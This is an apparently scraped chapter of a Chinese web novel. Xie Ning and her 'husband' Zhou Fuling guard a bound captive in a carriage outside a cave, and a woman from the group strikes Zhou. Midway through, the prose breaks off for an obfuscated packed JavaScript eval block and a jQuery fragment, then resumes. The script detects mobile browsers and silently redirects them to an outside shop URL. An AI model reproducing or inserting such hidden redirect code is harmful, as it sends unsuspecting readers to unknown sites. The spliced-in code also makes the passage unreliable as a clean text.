“谢宁,醒醒。”如山间冷泉一般的嗓音。
冷杉的味道逐渐占据主导侵入鼻腔,眼皮之下的眼珠不断续颤动,终于像挣脱梦魇一般睁开。
有那么几瞬的时间,以为是在做梦,所以没有说话。
直到她动了动脖子,视线扫过不远处睡成一团的女人们,毕毕剥剥燃着的柴火传送源源不断的热源。
一下子坐直了身体,“你怎么来了?”
不对,应该是,
“你怎么找过来的?”
谢宁注意到,他换了身衣服,身上穿的这身她都没见过。
玄纹交领长衫,袖口镶暗纹金边,衣摆墨竹隐现,其实不算很华丽的打扮,但,跟他一身褐衣短打院中劈柴的模样,相差太大。
他刚要说话,被她紧接着的一句
“你衣服哪里来的?”问得愣了一下,低头看起了自己穿着。
“你没回家,我有些担心,出来寻你时在码头碰到一群绿林打扮的汉子,跟着他们找到了这里。”
绿林汉子,接头人?
“他们人呢?”
“不清楚。”顿了顿又补充,“往另一个方向去了,我瞧见这边有火光过来的,你们碰上什么事了,有没有受伤?”
他冷淡的目光在脸上身上逡巡,谢宁耳后却隐隐发烫,有些难为情,小声道,“没受伤,你别看我了。”
又是往脸上涂姜黄又是同那个樊勇缠斗,发髻散乱得跟个疯子一样了,和他现在衣冠楚楚模样对比更是惨烈。
呼吸陡然加快,半晌,他沉默着移开视线,看向了门口那辆挡了大半洞口的马车。
谢宁动作迅速地将头发理顺拢在脑后,隐去她拜访明月楼的事,将今天她们碰到的事情一一告诉他。
周弗陵从她开口就将目光移了回来,在她脸上游移勾勒,额角有块淡色黄斑,是什么东西弄的?擦不掉吗,还是没看到?
待谢宁全部讲完。
他转头淡扫一眼马车,再看回她,问:“腿没事?”
摇头。
谢宁拍了拍手起身,火光将她半边脸颊染上透亮绯色,“我叫她们起来吧,得换个地方,你能顺着亮光找到这里,那帮人搞不好等会儿也找过来了。”
她说得很清楚坚决,动作却犹豫起来。
只因为现在距离天亮或许还有几个时辰,而这个山洞比起外面的寒风凛冽实在是舒适温暖。
“不用,等天亮再动身不迟。”
“可是那伙人很可能是樊勇的同伙……”她以为他还是没清楚两伙人之间可能存在的关联,打算细说自己的分析。
“是同伙,但他们不会来这里。”
“为什么这么肯定?”谢宁顿住。
周弗陵眼睛未眨一下,道,“我不是说过了吗,他们往另一个方向去了。”
话里话外带着一股不容置喙的肯定,有极强的说服力。
盯着他看了一会儿,谢宁妥协,“好吧,那我去看看樊勇醒了没。”
虽然极大可能自己的那块长命锁已经被卖掉了,但或许呢。
周弗陵拉她的手,一触即松,“我去就好。”
山洞口有一段距离,隐没在黑暗中。
谢宁坐下,两手忍不住轻抚脸颊,热度惊人。
不远处火光正盛的地方,几声忍不住的“噗呲”笑声打破宁静,又很快被捂住,谢宁愣住抬头。
那几个人全都醒了,坐起来,十只眼睛炯炯有神正看着她。
惊得她往后缩了几步。
“你们醒了……”说了一句废话。
又接着:“我吵到你们了吧,抱歉。”
捂嘴的那两个正是李阿姐同宣娘。
此刻她们动了动,起身朝谢宁走过来。
“不怪你。”
那就好。
“怪你的夫婿。”
啊?
李花有种莫名奇怪的怨气,接着阴阳,“这一天过得,大家本来也没睡踏实,进来个人就都醒了。不过……”
谢宁看她。
“你这夫婿确实还不错,居然能找到这儿来,不想我家那个,我这么晚没回去他连个人影都没。”
“我家的也是啊,都不知道出来找一下,今天要不是有谢小大夫在,咱们这会儿都不知道被拉去做什么了,我家那口子这会儿估计都着了……”
眼看话题要朝向闺怨深愁,宣娘腼腆一笑,对谢宁道:“宁姐姐,你夫君真好看,怪不得宁姐姐会嫁他。我和罗娘之前一直好奇他长什么样,刚才真是开了眼界了,他简直比我见过的最好看的男子还要好看一百倍!”
可能跟他今天换了新衣服有关,谢宁这样想,生出些尴尬,她想周弗陵也是同样的感受,所以进了马车后一直没出来。
不过说到新衣服,他这衣服到底哪里来的,刚才他好像没解释这个事。
正想着,马车里传来一句:“娘子,取些绳条过来,这人醒了,挣断了些布条。”
醒了!
几人脸色都变了,谢宁应了一声,第一时间去翻包袱,李阿姐动作比她更快,扯出包袱里之前撕掉的那匹布:“用我的吧,反正都扯了这么多了,也做不成件衣服了。”
她动作迅速麻利地撕了两块一般长的布条。
谢宁将两条拧成一条,一连拧了五六条,拿起来往马车走去。
刚要掀帘子,里面,“递给我就好,他衣服挣开了,你别进来。”
怎么一点声音都没有,难道他把人敲晕了?
“谢宁?”低低的一声,打断她思绪。
“噢。”了一声,车门拉开半扇,递出来一只修长大手,忙把布条结递了过去。
身后传来一阵脚步声,同一道女声,“谢小大夫,怎么称呼你夫君呀?”
是郑云阿姐。
“他姓周。”谢宁有些讶然她会过来。
妇人笑了笑,纤长手指往耳后弯过一缕发丝,那张平凡无奇的面容刹那间迸发出让人难以忽视的……该怎么形容,女人味。
“我正好想问几句话,谢小大夫不要见怪。”
说罢她推开一扇车门,柔声问侯了一声:“周小郎君,你方才见到的那群绿林汉子,是往后面去了还是往前面去了?”
一时没听见回答。
谢宁站在马车左侧,局外人一样看着这一幕,心里有种说不出的诡异感觉蔓延,她的位置看不清马车内的具体情状,只有心里发毛的感觉紧紧抓柔心脏,让她越来越紧张。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788253|210254||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
好不对劲,郑云阿姐问这个做什么,还以这样一种诡异的像是要勾引谁的姿态。
“勾引!”怎么会用这么严重的两个字眼?你入戏太深了,不会因为里面那个人称呼你娘子,你就真的把自己当他娘子了吧,还因此对他人产生如此上不得台面的猜想。
陡然间被自己吓到的谢宁连连后退两步,还嫌不够,为了表明自己毫不在意,她径直后退往山洞里走去一边扬声道:“你们聊就行,不用问我意见。”
不仅如此,还转过身去。
郑云瞧一眼她背影,有些奇怪,不过她走开了是正合自己心意的。
“周小郎君,怎么不说话?”女人更加柔媚的声音传来。
接着一阵窸窣,听着像是她爬上了马车。
“呀,这樊勇怎么脸肿成这个样子,郎君你打他了?”
谢宁的手不自觉握成了拳头。
身后传来男子低声冷淡的嗓音,“他们往崖边走了……”
“噢,那好近呀,郎君,他们不会正往我们这边来吧,要是真过来了,郎君你能否护得住我们?”
这句话说得尤为娇怯。
谢宁听得眉毛紧皱,眼前忽然闪过粉色衣裙,有人朝她过来了。
罗娘贴近她耳边,小声道:“宁姐姐,郑阿姐同你夫婿这样呆在一处讲话,你不生气吗?”
“没有啊,我有什么可生气的?”谢宁高声道,转身看了眼忽然剧烈晃动起来的马车,倏然瞪大了眼睛。
这是怎么了?
罗娘盯着她后脑勺若有所思。
“砰……”
“啊,救命!救命!”
一声击打重物的闷响后,女人忽地连滚带爬从马车中滚出,随即飞快跑入黑暗中,一边发出音量惊人叫喊声。
谢宁率先反应过来,几步飞快跑到马车旁,往上爬,“周弗陵,怎么了,发生什么事了?”
马车内光线昏暗,眼睛适应后,三道倒下的身影。
除了角落死去多时的车夫,绑成粽子形状的樊勇倒在一旁人事不醒,脖颈出一道伤口正汩汩流出暗色液体。
谢宁径直过去扶起倒在一旁的少年,“怎么回事啊?”
他一手扶着脑袋,谢宁拿开他的手,左上发际线处肿起了一个大包,他指尖隐有血迹。
谢宁轻轻碰了下,他整个人就一抖,下颌磕在她肩膀,呼吸一下下打在她脖颈处,粗重起来。
有反应。
谢宁收回手,颤声道,“怎么回事,谁砸的你?”
其实按现场看,可能砸他的只有一个人,可谢宁想不通,郑云为什么会忽然砸他,莫非是樊勇动的手,所以郑云惊吓之下跑来了。
这样还说得过去。
他半个身子的重量都压在她肩线,哑声:“那个女人砸的我……”
“阿宁,怎么回事啊,怎么那郑云忽地发疯跑了,罗娘去追她了,不要紧吧?”门口传来李阿姐的声音,她探了个脑袋进来,见两人搂抱着,又赶紧缩了回去。
“李阿姐,快叫罗娘回来,郑云砸伤了我夫君,她可能同樊勇是一伙的,现在在大声吸引同伙过来,咱们得赶紧离开这里……”
“什么?我,我去喊罗娘回来……”